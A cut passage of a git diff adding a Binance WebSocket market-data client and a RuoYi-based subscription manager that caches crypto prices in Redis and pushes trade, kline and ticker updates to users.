com.binance.connector.client.utils.WebSocketConnection; +import com.binance.connector.client.utils.httpclient.WebSocketStreamHttpClientSingleton; +import com.binance.connector.client.utils.websocketcallback.WebSocketClosedCallback; +import com.binance.connector.client.utils.websocketcallback.WebSocketClosingCallback; +import com.binance.connector.client.utils.websocketcallback.WebSocketFailureCallback; +import com.binance.connector.client.utils.websocketcallback.WebSocketMessageCallback; +import com.binance.connector.client.utils.websocketcallback.WebSocketOpenCallback; + +import okhttp3.OkHttpClient; +import okhttp3.Request; + +public class BianaceWebSocketClient implements WebSocketStreamClient { + private static final Logger logger = LoggerFactory.getLogger(com.binance.connector.client.impl.WebSocketStreamClientImpl.class); + + private OkHttpClient client = new OkHttpClient(); + private final String baseUrl; + private final Map connections = new HashMap<>(); + private final WebSocketOpenCallback noopOpenCallback = response -> { }; + private final WebSocketClosingCallback noopClosingCallback = (code, reason) -> { }; + private final WebSocketClosedCallback noopClosedCallback = (code, reason) -> { }; + private final WebSocketFailureCallback noopFailureCallback = (throwable, response) -> { }; + + public BianaceWebSocketClient() { + this.baseUrl = DefaultUrls.WS_URL; + } + + public BianaceWebSocketClient(String baseUrl) { + this.baseUrl = baseUrl; + } + + /** + * The Aggregate Trade Streams push trade information that is aggregated for a single taker order. + *

+ * <symbol>@aggTrade + *

+ * Update Speed: Real-time + * + * @param symbol Name of the trading pair + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#aggregate-trade-streams + */ + @Override + public int aggTradeStream(String symbol, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + return aggTradeStream(symbol.toLowerCase(), noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #aggTradeStream(String, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param symbol Name of the trading pair + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int aggTradeStream(String symbol, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s@aggTrade", baseUrl, symbol.toLowerCase())); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * The Trade Streams push raw trade information; each trade has a unique buyer and seller. + *

+ * <symbol>@trade + *

+ * Update Speed: Real-time + * + * @param symbol Name of the trading pair + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#trade-streams + */ + @Override + public int tradeStream(String symbol, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + return tradeStream(symbol.toLowerCase(), noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #tradeStream(String, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param symbol Name of the trading pair + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int tradeStream(String symbol, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s@trade", baseUrl, symbol.toLowerCase())); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * The Kline/Candlestick Stream push updates to the current klines/candlestick every second. + *

+ * <symbol>@kline_<interval> + *

+ * Update Speed: Real-time + * + * @param symbol Name of the trading pair + * @param interval Time interval for kline/candlestick + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#kline-candlestick-streams + */ + @Override + public int klineStream(String symbol, String interval, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + return klineStream(symbol.toLowerCase(), interval, noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #klineStream(String, String, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param symbol Name of the trading pair + * @param interval Time interval for kline/candlestick + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int klineStream(String symbol, String interval, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s@kline_%s", baseUrl, symbol.toLowerCase(), interval)); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * 24hr rolling window mini-ticker statistics. + * These are NOT the statistics of the UTC day, but a 24hr rolling window for the previous 24hrs. + *

+ * <symbol>@miniTicker + *

+ * Update Speed: Real-time + * + * @param symbol Name of the trading pair + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#individual-symbol-mini-ticker-stream + */ + @Override + public int miniTickerStream(String symbol, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + return miniTickerStream(symbol.toLowerCase(), noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #miniTickerStream(String, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param symbol Name of the trading pair + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int miniTickerStream(String symbol, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s@miniTicker", baseUrl, symbol.toLowerCase())); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * 24hr rolling window mini-ticker statistics for all symbols that changed in an array. + * These are NOT the statistics of the UTC day, but a 24hr rolling window for the previous 24hrs. + * Note that only tickers that have changed will be present in the array. + *

+ * !miniTicker@arr + *

+ * Update Speed: Real-time + * + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#all-market-mini-tickers-stream + */ + @Override + public int allMiniTickerStream(WebSocketMessageCallback callback) { + return allMiniTickerStream(noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #allMiniTickerStream(WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int allMiniTickerStream(WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/!miniTicker@arr", baseUrl)); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * 24hr rolling window ticker statistics for a single symbol. + * These are NOT the statistics of the UTC day, but a 24hr rolling window for the previous 24hrs. + *

+ * <symbol>@ticker + *

+ * Update Speed: Real-time + * + * @param symbol Name of the trading pair + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#individual-symbol-ticker-streams + */ + @Override + public int symbolTicker(String symbol, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + return symbolTicker(symbol.toLowerCase(), noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #symbolTicker(String, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param symbol Name of the trading pair + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int symbolTicker(String symbol, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s@ticker", baseUrl, symbol.toLowerCase())); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * 24hr rolling window ticker statistics for all symbols that changed in an array. + * These are NOT the statistics of the UTC day, but a 24hr rolling window for the previous 24hrs. + * Note that only tickers that have changed will be present in the array. + *

+ * !ticker@arr + *

+ * Update Speed: Real-time + * + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#all-market-tickers-stream + */ + @Override + public int allTickerStream(WebSocketMessageCallback callback) { + return allTickerStream(noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #allTickerStream(WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int allTickerStream(WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/!ticker@arr", baseUrl)); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * Rolling window ticker statistics for a single symbol, computed over multiple windows. + *

+ * <symbol>@ticker_<window_size> + *

+ * Update Speed: Real-time + * + * @param symbol Name of the trading pair + * @param windowSize Window Sizes: 1h,4h + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#individual-symbol-rolling-window-statistics-streams + */ + public int rollingWindowTicker(String symbol, String windowSize, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + ParameterChecker.checkParameterType(symbol, String.class, "windowSize"); + ArrayList allowedWindowSize = new ArrayList() {{ + add("1h"); + add("4h"); + }}; + if (!allowedWindowSize.contains(windowSize)) { + throw new BinanceConnectorException(String.format("\"%s\" is not a valid window size.", windowSize)); + } + return rollingWindowTicker(symbol.toLowerCase(), windowSize, noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #rollingWindowTicker(String, String, WebSocketMessageCallback)} (String, WebSocketCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param symbol Name of the trading pair + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int rollingWindowTicker(String symbol, String windowSize, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + ParameterChecker.checkParameterType(symbol, String.class, "windowSize"); + ArrayList allowedWindowSize = new ArrayList() {{ + add("1h"); + add("4h"); + }}; + if (!allowedWindowSize.contains(windowSize)) { + throw new BinanceConnectorException(String.format("\"%s\" is not a valid window size.", windowSize)); + } + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s@ticker_%s", baseUrl, symbol.toLowerCase(), windowSize)); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * Rolling window ticker statistics for all market symbols, computed over multiple windows. + * Note that only tickers that have changed will be present in the array. + *

+ * !ticker_<window-size>@arr + *

+ * Update Speed: Real-time + * + * @param windowSize Window Sizes: 1h,4h + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#all-market-rolling-window-statistics-streams + */ + @Override + public int allRollingWindowTicker(String windowSize, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(windowSize, String.class, "windowSize"); + ArrayList allowedWindowSize = new ArrayList() {{ + add("1h"); + add("4h"); + }}; + if (!allowedWindowSize.contains(windowSize.toLowerCase())) { + throw new BinanceConnectorException(String.format("\"%s\" is not a valid window size.", windowSize.toLowerCase())); + } + return allRollingWindowTicker(windowSize.toLowerCase(), noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #allRollingWindowTicker(String, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param windowSize Window Sizes: 1h,4h + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int allRollingWindowTicker(String windowSize, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(windowSize, String.class, "windowSize"); + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/!ticker_%s@arr", baseUrl, windowSize.toLowerCase())); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * Pushes any update to the best bid or ask's price or quantity in real-time for a specified symbol. + *

+ * <symbol>@bookTicker + *

+ * Update Speed: Real-time + * + * @param symbol Name of the trading pair + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#individual-symbol-book-ticker-streams + */ + @Override + public int bookTicker(String symbol, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + return bookTicker(symbol.toLowerCase(), noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #bookTicker(String, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param symbol Name of the trading pair + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int bookTicker(String symbol, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s@bookTicker", baseUrl, symbol.toLowerCase())); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * Pushes any update to the best bid or ask's price or quantity in real-time for all symbols. + *

+ * !bookTicker + *

+ * Update Speed: Real-time + * + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#all-book-tickers-stream + */ + @Override + public int allBookTickerStream(WebSocketMessageCallback callback) { + return allBookTickerStream(noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #allBookTickerStream(WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int allBookTickerStream(WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/!bookTicker", baseUrl)); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * Top bids and asks, Valid are 5, 10, or 20. + *

+ * <symbol>@depth<levels>@<speed>ms + *

+ * Update Speed: 1000ms or 100ms + * + * @param symbol Name of the trading pair + * @param levels Valid are 5, 10, or 20 + * @param speed 1000ms or 100ms + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#partial-book-depth-streams + */ + @Override + public int partialDepthStream(String symbol, int levels, int speed, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + return partialDepthStream(symbol.toLowerCase(), levels, speed, noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #partialDepthStream(String, int, int, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param symbol Name of the trading pair + * @param levels Valid are 5, 10, or 20 + * @param speed 1000ms or 100ms + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int partialDepthStream(String symbol, int levels, int speed, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s@depth%s@%sms", baseUrl, symbol.toLowerCase(), levels, speed)); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * Order book price and quantity depth updates used to locally manage an order book. + *

+ * <symbol>@depth@<speed>ms + *

+ * Update Speed: 1000ms or 100ms + * + * @param symbol Name of the trading pair + * @param speed 1000ms or 100ms + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#diff-depth-stream + */ + @Override + public int diffDepthStream(String symbol, int speed, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + return diffDepthStream(symbol.toLowerCase(), speed, noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #diffDepthStream(String, int, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param symbol Name of the trading pair + * @param speed 1000ms or 100ms + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int diffDepthStream(String symbol, int speed, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s@depth@%sms", baseUrl, symbol.toLowerCase(), speed)); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * User Data Streams are accessed at /ws/<listenKey> + * + * @param listenKey listen key obtained from this + * endpoint + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#user-data-streams + */ + @Override + public int listenUserStream(String listenKey, WebSocketMessageCallback callback) { + return listenUserStream(listenKey, noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #listenUserStream(String, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param listenKey listen key obtained from this + * endpoint + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int listenUserStream(String listenKey, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s", baseUrl, listenKey)); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * Combined streams are accessed at /stream?streams=<streamName1>/<streamName2>/<streamName3> + * + * @param streams ArrayList of stream names to be combined
+ * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#websocket-market-streams + */ + @Override + public int combineStreams(ArrayList streams, WebSocketMessageCallback callback) { + return combineStreams(streams, noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #combineStreams(ArrayList, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param streams ArrayList of stream names to be combined
+ * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int combineStreams(ArrayList streams, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + String url = UrlBuilder.buildStreamUrl(baseUrl, streams); + Request request = RequestBuilder.buildWebSocketRequest(url); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * Closes a specific stream based on stream ID. + * + * @param connectionId The connection ID to close. + */ + @Override + public void closeConnection(int connectionId) { + if (connections.containsKey(connectionId)) { + connections.get(connectionId).close(); + logger.info("Closing Connection ID {}", connectionId); + connections.remove(connectionId); + } else { + logger.info("Connection ID {} does not exist!", connectionId); + } + } + + /** + * Closes all streams + */ + @Override + public void closeAllConnections() { + if (!connections.isEmpty()) { + logger.info("Closing {} connections(s)", connections.size()); + Iterator> iter = connections.entrySet().iterator(); + while (iter.hasNext()) { + WebSocketConnection connection = iter.next().getValue(); + connection.close(); + iter.remove(); + } + } + + if (connections.isEmpty()) { + client.dispatcher().executorService().shutdown(); + logger.info("All connections are closed!"); + } + } + + private int createConnection( + WebSocketOpenCallback onOpenCallback, + WebSocketMessageCallback onMessageCallback, + WebSocketClosingCallback onClosingCallback, + WebSocketClosedCallback onClosedCallback, + WebSocketFailureCallback onFailureCallback, + Request request + ) { + WebSocketConnection connection = new WebSocketConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request, client); + connection.connect(); + int connectionId = connection.getConnectionId(); + connections.put(connectionId, connection); + return connectionId; + } +} \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/manager/WebSocketUserManager.java b/ruoyi-system/src/main/java/com/ruoyi/socket/manager/WebSocketUserManager.java new file mode 100644 index 0000000..5f7d5d5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/manager/WebSocketUserManager.java @@ -0,0 +1,856 @@ +package com.ruoyi.socket.manager; + +import com.alibaba.fastjson2.JSONArray; +import com.alibaba.fastjson2.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.huobi.wss.event.MarketDetailSubResponse; +import com.huobi.wss.event.MarketKLineSubResponse; +import com.huobi.wss.event.MarketTradeDetailSubResponse; +import com.ruoyi.bussiness.domain.TBotKlineModelInfo; +import com.ruoyi.bussiness.mapper.TBotKlineModelInfoMapper; +import com.ruoyi.bussiness.service.ITBotKlineModelService; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.bussiness.service.ITBotKlineModelService; +import com.ruoyi.socket.config.KLoader; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.SpringContextUtil; +import com.ruoyi.socket.dto.*; +import com.ruoyi.socket.socketserver.WebSocketServers; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.Response; +import org.junit.Test; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.scheduling.annotation.Async; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.text.SimpleDateFormat; +import java.time.*; +import java.time.temporal.ChronoUnit; +import java.util.*; + +import static org.junit.Assert.assertNotNull; + +@Service +public class WebSocketUserManager { + @Resource + private RedisCache redisCache; + @Resource + private TBotKlineModelInfoMapper tBotKlineModelInfoMapper; + @Resource + private ITBotKlineModelService tBotKlineModelService; + private static final Logger log = LoggerFactory.getLogger(WebSocketUserManager.class); + //订阅逻辑 + @Async("socketThread") + public void subscribeMsg(WsSubBO wsSubBO){ + //先订阅k线 + String op = wsSubBO.getOp(); + if(null!=op&&op.equals("subscribe")){ + //订阅消息处理 + //订阅消息规则:DETAIL TRADE KLINE + switch (wsSubBO.getType()) { + //DETAIL 不区分币种 TRADE KLINE区分币种 + case "DETAIL": + List detail = WebSocketServers.detailMap.get("DETAIL"); + if(detail==null){ + detail= new ArrayList<>(); + } + detail.add(wsSubBO.getUserId()); + WebSocketServers.detailMap.put("DETAIL",detail); + break; + case "TRADE": + List trade = WebSocketServers.tradeMap.get(wsSubBO.getSymbol().toLowerCase()); + if(trade==null){ + trade= new ArrayList<>(); + } + trade.add(wsSubBO.getUserId()); + WebSocketServers.tradeMap.put(wsSubBO.getSymbol().toLowerCase(),trade); + break; + case "KLINE": + List kline = WebSocketServers.klineMap.get(wsSubBO.getSymbol().toLowerCase()); + if(kline==null){ + kline= new ArrayList<>(); + } + kline.add(wsSubBO.getUserId()); + WebSocketServers.klineMap.put(wsSubBO.getSymbol().toLowerCase(),kline); + break; + } + }else{ + //取消订阅 + switch (wsSubBO.getType()) { + //DETAIL 不区分币种 TRADE KLINE区分币种 + case "DETAIL": + List detail = WebSocketServers.detailMap.get("DETAIL"); + if(detail!=null){ + detail.remove(wsSubBO.getUserId()); + WebSocketServers.detailMap.put("DETAIL",detail); + } + break; + case "TRADE": + List trade = WebSocketServers.tradeMap.get(wsSubBO.getSymbol().toLowerCase()); + if(trade!=null){ + trade.remove(wsSubBO.getUserId()); + WebSocketServers.tradeMap.put("TRADE",trade); + } + break; + case "KLINE": + List kline = WebSocketServers.klineMap.get(wsSubBO.getSymbol().toLowerCase()); + if(kline!=null){ + kline.remove(wsSubBO.getUserId()); + WebSocketServers.klineMap.put("KLINE",kline); + } + break; + } + } + } + + //分发逻辑 + @Async("socketThread") + public void buidlMsgToSend(Object message){ + WsVO wsVO = new WsVO(); + if(message instanceof MarketTradeDetailSubResponse){ + String ch = ((MarketTradeDetailSubResponse) message).getCh(); + wsVO.setType("TRADE"); + wsVO.setSymbol(ch.replace("market.","").replace("-USDT.trade.detail","").toLowerCase()); + wsVO.setData(message); + }else if(message instanceof MarketKLineSubResponse){ + String ch = ((MarketKLineSubResponse) message).getCh(); + wsVO.setType("KLINE"); + wsVO.setSymbol(ch.replace("market.","").replace("-USDT.kline.1min","").toLowerCase()); + wsVO.setData( message); + }else { + String ch = ((MarketDetailSubResponse) message).getCh(); + wsVO.setType("DETAIL"); + wsVO.setSymbol(ch.replace("market.","").replace("-USDT.detail","").toLowerCase()); + wsVO.setData( message); + } + toSendMessage(wsVO); + } + @Async("socketThread") + public void toSendMessage(WsVO wsVO){ + String symbol = wsVO.getSymbol(); + switch (wsVO.getType()) { + //DETAIL 不区分币种 TRADE KLINE区分币种 + case "DETAIL": + //先存币种的最新价格 + BinanceDTO data = (BinanceDTO) wsVO.getData(); + DetailTickBean klineTickBean = (DetailTickBean)data.getTick(); + redisCache.setCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix()+symbol,klineTickBean.getClose()); + // redisCache.setCacheObject(CachePrefix.CURRENCY_OPEN_PRICE.getPrefix()+symbol,klineTickBean.getOpen()); + KLoader.OPEN_PRICE.put(symbol,klineTickBean.getOpen()); + //在判断是否分发 + List detail = WebSocketServers.detailMap.get("DETAIL"); + if(detail==null){ + return; + } + for (String s : detail) { + WebSocketServers.sendInfo(JSONObject.toJSONString(wsVO),s); + } + break; + case "TRADE": +// log.info("================================"+wsVO); + List tradeMap = WebSocketServers.tradeMap.get(symbol.toLowerCase()); + if(tradeMap==null){ + return; + } + for (String s : tradeMap) { + WebSocketServers.sendInfo(JSONObject.toJSONString(wsVO),s); + } + break; + case "KLINE": + if(symbol.length()>5){ + RedisCache redis = SpringContextUtil.getBean(RedisCache.class); + BinanceDTO dataMt5 = (BinanceDTO) wsVO.getData(); + KlineTickBean klineTickBeanc = 